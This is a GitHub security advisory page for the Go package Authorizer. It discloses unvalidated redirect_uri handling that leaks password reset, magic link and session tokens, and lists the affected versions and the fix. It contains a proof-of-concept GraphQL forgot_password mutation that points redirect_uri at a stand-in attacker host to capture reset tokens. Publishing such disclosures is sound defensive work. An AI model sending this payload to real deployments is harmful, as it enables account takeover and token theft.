GHSA-x3f4-v83f-7wp2: Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri
Hi, I found that 6 endpoints in Authorizer accept a user-controlled redirecturi and append sensitive tokens to it without validating the URL against AllowedOrigins. The OAuth /app handler validates redirecturi at httphandlers/app.go:46, but the GraphQL mutations and verifyemail handler skip validation entirely.
Published Apr 6, 2026
Affected packages
github.com/authorizerdev/authorizer
- Ecosystem
- Go
- Affected
- < 0.0.0-20260329085140-6d9bef1aaba3
- Fixed in
- 0.0.0-20260329085140-6d9bef1aaba3
- Check
go list -m github.com/authorizerdev/authorizer
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Hi,
I found that 6 endpoints in Authorizer accept a user-controlled redirect_uri and append sensitive tokens to it without validating the URL against AllowedOrigins. The OAuth /app handler validates redirect_uri at http_handlers/app.go:46, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).
Affected Endpoints
- ForgotPassword (
internal/graphql/forgot_password.go:76-77) - password reset tokens - MagicLinkLogin (
internal/graphql/magic_link_login.go:150-151) - magic link auth tokens - Signup (
internal/graphql/signup.go:211-212) - email verification tokens - InviteMembers (
internal/graphql/invite_members.go:90-91) - invitation tokens - OAuthLoginHandler (
internal/http_handlers/oauth_login.go:18-20) - OAuth redirect stored in state - VerifyEmailHandler (
internal/http_handlers/verify_email.go:27,178) - full auth tokens (access + id + refresh)
Root Cause
Because these 6 endpoints completely lack the validators.IsValidOrigin() check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures AllowedOrigins to ["https://my-secure-app.com"], an attacker can still steal tokens by passing https://attacker.com to these specific GraphQL mutations. The validation only exists in the /app OAuth handler, not in any of the GraphQL mutations.
In forgot_password.go:76-77, the user-supplied redirect_uri is accepted without validation:
if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" { redirectURI = refs.StringValue(params.RedirectURI) }
The reset token is appended to this URL at internal/utils/common.go:77:
func GetForgotPasswordURL(token, redirectURI string) string { verificationURL := redirectURI + "?token=" + token return verificationURL }
Compare with the OAuth flow at internal/http_handlers/app.go:46 which validates correctly:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { c.JSON(400, gin.H{"error": "invalid redirect url"}) return }
This validation is missing from all 6 endpoints listed above.
Most Severe Path: Full Token Theft via verify_email
After a user clicks the verification link, verify_email.go:178 generates full auth tokens and redirects to the (unvalidated) URL:
params := "access_token=" + authToken.AccessToken.Token + "&token_type=bearer&expires_in=" + ... + "&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce
The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.
Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the Referer header.
PoC
mutation { forgot_password(params: { email: "[email protected]" redirect_uri: "https://attacker.com/steal" }) { message } }
The victim receives a legitimate password reset email with the link https://attacker.com/steal?token=<reset_token>. Clicking the link sends the reset token to the attacker.
Impact
- Account takeover via stolen password reset tokens
- Full session theft via stolen access_token + id_token + refresh_token
- Passwordless account compromise via stolen magic link tokens
- No authentication required to trigger (the GraphQL mutations are public)
- Victim only needs to click the email link from their trusted Authorizer instance
Additional Note
The default AllowedOrigins at cmd/root.go:39 is ["*"], so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.
Koda Reef
Credited to kodareef5.
References
- https://github.com/authorizerdev/authorizer/security/advisories/GHSA-x3f4-v83f-7wp2
- https://github.com/authorizerdev/authorizer/pull/502
- https://github.com/authorizerdev/authorizer/commit/6d9bef1aaba3f867f8c769b93eb7fc80e4e7b0a2
- https://github.com/authorizerdev/authorizer/releases/tag/2.0.1
- https://github.com/advisories/GHSA-x3f4-v83f-7wp2
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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